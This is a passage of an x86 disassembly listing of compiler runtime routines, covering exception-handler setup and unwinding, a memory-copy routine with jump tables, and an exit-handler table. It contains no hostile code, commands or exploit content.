		push	esi
		push	ebx
		call	sub_411CBC
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_40CFFE
; ---------------------------------------------------------------------------


loc_40CFDC:				; CODE XREF: sub_40CF33+99j
		test	bl, 20h
		jnz	short loc_40CFCE
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_40CFF6:				; CODE XREF: sub_40CF33+84j
		call	sub_4114E7
		add	esp, 1Ch


loc_40CFFE:				; CODE XREF: sub_40CF33+59j
					; sub_40CF33+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D002	proc near		; CODE XREF: sub_4125E4+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_40D002	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_40D036	proc near		; CODE XREF: sub_412795+199p
					; sub_412959+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40D036	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D03D	proc near		; CODE XREF: sub_412795+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_40D03D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D044	proc near		; CODE XREF: sub_40D1F6+5Cp
					; sub_4125E4:loc_412615p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_40D06C
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_417A7E	; RtlUnwind


loc_40D06C:				; DATA XREF: sub_40D044+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40D044	endp

; ---------------------------------------------------------------------------


loc_40D093:				; CODE XREF: .nsp0:00417BDCj
					; .nsp0:00417BF9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4121E9
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0C9	proc near		; CODE XREF: sub_41265F+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_40D11D
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_4129F0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_40D0C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D11D	proc near		; DATA XREF: sub_40D0C9+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4121E9
		add	esp, 20h
		pop	ebp
		retn
sub_40D11D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D142	proc near		; CODE XREF: sub_41242B+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_40D1F6
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_40D1C8
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_481E38
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_40D1C8:				; DATA XREF: sub_40D142+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_40D1E5
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_40D1EE
; ---------------------------------------------------------------------------


loc_40D1E5:				; CODE XREF: sub_40D142+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_40D1EE:				; CODE XREF: sub_40D142+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D142	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1F6	proc near		; DATA XREF: sub_40D142+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_40D219
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_40D266
; ---------------------------------------------------------------------------


loc_40D219:				; CODE XREF: sub_40D1F6+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4121E9
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_40D257
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_40D044


loc_40D257:				; CODE XREF: sub_40D1F6+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_40D266:				; CODE XREF: sub_40D1F6+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40D1F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D26B	proc near		; CODE XREF: sub_412284+C6p
					; sub_41242B+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_40D2C2


loc_40D289:				; CODE XREF: sub_40D26B+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40D293
		call	sub_412A92


loc_40D293:				; CODE XREF: sub_40D26B+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_40D2A8
		cmp	ecx, [eax+8]
		jle	short loc_40D2AD


loc_40D2A8:				; CODE XREF: sub_40D26B+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40D2B9


loc_40D2AD:				; CODE XREF: sub_40D26B+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_40D2B9:				; CODE XREF: sub_40D26B+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_40D289
		mov	eax, [ebp+var_4]


loc_40D2C2:				; CODE XREF: sub_40D26B+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_40D2D6
		cmp	esi, eax
		jbe	short loc_40D2DB


loc_40D2D6:				; CODE XREF: sub_40D26B+65j
		call	sub_412A92


loc_40D2DB:				; CODE XREF: sub_40D26B+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_40D26B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2E8	proc near		; CODE XREF: sub_414568+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_40D300
		push	[ebp+arg_0]
		call	sub_417A7E	; RtlUnwind


loc_40D300:				; DATA XREF: sub_40D2E8+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40D2E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D308	proc near		; DATA XREF: sub_40D32A+Ao
					; sub_40D392+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_40D329
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40D329:				; CODE XREF: sub_40D308+10j
		retn
sub_40D308	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D32A	proc near		; CODE XREF: sub_412705+Dp
					; sub_414568+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_40D308
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40D347:				; CODE XREF: sub_40D32A:loc_40D382j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D384
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40D384
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40D382
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_40D3BE
		call	dword ptr [ebx+esi*4+8]


loc_40D382:				; CODE XREF: sub_40D32A+44j
		jmp	short loc_40D347
; ---------------------------------------------------------------------------


loc_40D384:				; CODE XREF: sub_40D32A+2Aj
					; sub_40D32A+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D32A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D392	proc near		; CODE XREF: sub_412725+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_40D308
		jnz	short locret_40D3B4
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40D3B4
		mov	eax, 1

locret_40D3B4:				; CODE XREF: sub_40D392+10j
					; sub_40D392+1Bj
		retn
sub_40D392	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3B5	proc near		; CODE XREF: sub_4129F0+1Ep
					; sub_4129F0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_41FC5C
		jmp	short loc_40D3C8
sub_40D3B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3BE	proc near		; CODE XREF: sub_40D32A+4Fp
					; sub_414568+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_41FC5C
		mov	ecx, [ebp+8]


loc_40D3C8:				; CODE XREF: sub_40D3B5+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_40D3BE	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40D3D8	proc near		; CODE XREF: sub_40215E+5p
					; sub_4022FD+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_40D3D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3F7	proc near		; CODE XREF: sub_4022FD+69p
					; sub_4023B8+68p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_40EDD8
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40D436
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40D443
; ---------------------------------------------------------------------------


loc_40D436:				; CODE XREF: sub_40D3F7+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_40ECC3
		pop	ecx
		pop	ecx


loc_40D443:				; CODE XREF: sub_40D3F7+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40D3F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D448	proc near		; CODE XREF: sub_402790+22p
					; .nsp0:00417855p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40CD81
		pop	ecx
		retn
sub_40D448	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D460	proc near		; CODE XREF: sub_4027FD+3Ap
					; sub_4102F3+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40D480
		cmp	edi, eax
		jb	loc_40D5F8


loc_40D480:				; CODE XREF: sub_40D460+16j
		test	edi, 3
		jnz	short loc_40D49C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40D4BC
		rep movsd
		jmp	off_40D5A8[edx*4]
; ---------------------------------------------------------------------------


loc_40D49C:				; CODE XREF: sub_40D460+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40D4B4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40D4BC+4[eax*4]
; ---------------------------------------------------------------------------


loc_40D4B4:				; CODE XREF: sub_40D460+46j
		jmp	dword ptr loc_40D5B8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40D4BC:				; CODE XREF: sub_40D460+31j
					; sub_40D460+8Ej ...
		jmp	off_40D53C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40D4D0
		dd offset loc_40D4FC
		dd offset loc_40D520
; ---------------------------------------------------------------------------


loc_40D4D0:				; DATA XREF: sub_40D460+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40D4BC
		rep movsd
		jmp	off_40D5A8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40D4FC:				; DATA XREF: sub_40D460+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40D4BC
		rep movsd
		jmp	off_40D5A8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40D520:				; DATA XREF: sub_40D460+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_40D4BC
		rep movsd
		jmp	off_40D5A8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40D53C	dd offset loc_40D59F	; DATA XREF: sub_40D460:loc_40D4BCr
		dd offset loc_40D58C
		dd offset loc_40D584
		dd offset loc_40D57C
		dd offset loc_40D574
		dd offset loc_40D56C
		dd offset loc_40D564
		dd offset loc_40D55C
; ---------------------------------------------------------------------------


loc_40D55C:				; CODE XREF: sub_40D460:loc_40D4BCj
					; DATA XREF: sub_40D460+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40D564:				; CODE XREF: sub_40D460:loc_40D4BCj
					; DATA XREF: sub_40D460+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40D56C:				; CODE XREF: sub_40D460:loc_40D4BCj
					; DATA XREF: sub_40D460+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40D574:				; CODE XREF: sub_40D460:loc_40D4BCj
					; DATA XREF: sub_40D460+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40D57C:				; CODE XREF: sub_40D460:loc_40D4BCj
					; DATA XREF: sub_40D460+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40D584:				; CODE XREF: sub_40D460:loc_40D4BCj
					; DATA XREF: sub_40D460+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40D58C:				; CODE XREF: sub_40D460:loc_40D4BCj
					; DATA XREF: sub_40D460+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40D59F:				; CODE XREF: sub_40D460:loc_40D4BCj
					; DATA XREF: sub_40D460:off_40D53Co
		jmp	off_40D5A8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40D5A8	dd offset loc_40D5B8	; DATA XREF: sub_40D460+35r
					; sub_40D460+92r ...
		dd offset loc_40D5C0
		dd offset loc_40D5CC
		dd offset loc_40D5E0
; ---------------------------------------------------------------------------


loc_40D5B8:				; CODE XREF: sub_40D460+35j
					; sub_40D460+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40D5C0:				; CODE XREF: sub_40D460+35j
					; sub_40D460+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40D5CC:				; CODE XREF: sub_40D460+35j
					; sub_40D460+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40D5E0:				; CODE XREF: sub_40D460+35j
					; sub_40D460+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40D5F8:				; CODE XREF: sub_40D460+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40D62C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40D620
		std
		rep movsd
		cld
		jmp	off_40D740[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40D620:				; CODE XREF: sub_40D460+1B1j
					; sub_40D460+208j ...
		neg	ecx
		jmp	off_40D6F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40D62C:				; CODE XREF: sub_40D460+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40D644
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40D644+4[eax*4]
; ---------------------------------------------------------------------------


loc_40D644:				; CODE XREF: sub_40D460+1D6j
					; DATA XREF: sub_40D460+1DDr
		jmp	off_40D740[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40D658
		dd offset loc_40D678
		dd offset loc_40D6A0
; ---------------------------------------------------------------------------


loc_40D658:				; DATA XREF: sub_40D460+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_40D620
		std
		rep movsd
		cld
		jmp	off_40D740[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40D678:				; DATA XREF: sub_40D460+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40D620
		std
		rep movsd
		cld
		jmp	off_40D740[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40D6A0:				; DATA XREF: sub_40D460+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40D620
		std
		rep movsd
		cld
		jmp	off_40D740[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40D6F4
		dd offset loc_40D6FC
		dd offset loc_40D704
		dd offset loc_40D70C
		dd offset loc_40D714
		dd offset loc_40D71C
		dd offset loc_40D724
off_40D6F0	dd offset loc_40D737	; DATA XREF: sub_40D460+1C2r
; ---------------------------------------------------------------------------


loc_40D6F4:				; DATA XREF: sub_40D460+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40D6FC:				; DATA XREF: sub_40D460+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_40D704:				; DATA XREF: sub_40D460+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40D70C:				; DATA XREF: sub_40D460+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_40D714:				; DATA XREF: sub_40D460+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40D71C:				; DATA XREF: sub_40D460+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_40D724:				; DATA XREF: sub_40D460+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40D737:				; CODE XREF: sub_40D460+1C2j
					; DATA XREF: sub_40D460:off_40D6F0o
		jmp	off_40D740[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40D740	dd offset loc_40D750	; DATA XREF: sub_40D460+1B7r
					; sub_40D460:loc_40D644r ...
		dd offset loc_40D758
		dd offset loc_40D768
		dd offset loc_40D77C
; ---------------------------------------------------------------------------


loc_40D750:				; CODE XREF: sub_40D460+1B7j
					; sub_40D460:loc_40D644j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40D758:				; CODE XREF: sub_40D460+1B7j
					; sub_40D460:loc_40D644j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40D768:				; CODE XREF: sub_40D460+1B7j
					; sub_40D460:loc_40D644j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40D77C:				; CODE XREF: sub_40D460+1B7j
					; sub_40D460:loc_40D644j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40D460	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D795	proc near		; CODE XREF: sub_402864+34p
					; sub_402864+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_40CCE1
		pop	ecx
		pop	ecx
		retn
sub_40D795	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7A3	proc near		; CODE XREF: sub_40D810+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_48343C
		call	sub_412AE8
		mov	edx, dword_48343C
		pop	ecx
		mov	ecx, dword_483438
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_40D802
		push	edx
		call	sub_412AE8
		add	eax, 10h
		push	eax
		push	dword_48343C
		call	sub_40DB08
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D7E5
		retn
; ---------------------------------------------------------------------------


loc_40D7E5:				; CODE XREF: sub_40D7A3+3Fj
		mov	ecx, dword_483438
		sub	ecx, dword_48343C
		mov	dword_48343C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_483438, ecx


loc_40D802:				; CODE XREF: sub_40D7A3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_483438, 4
		retn
sub_40D7A3	endp


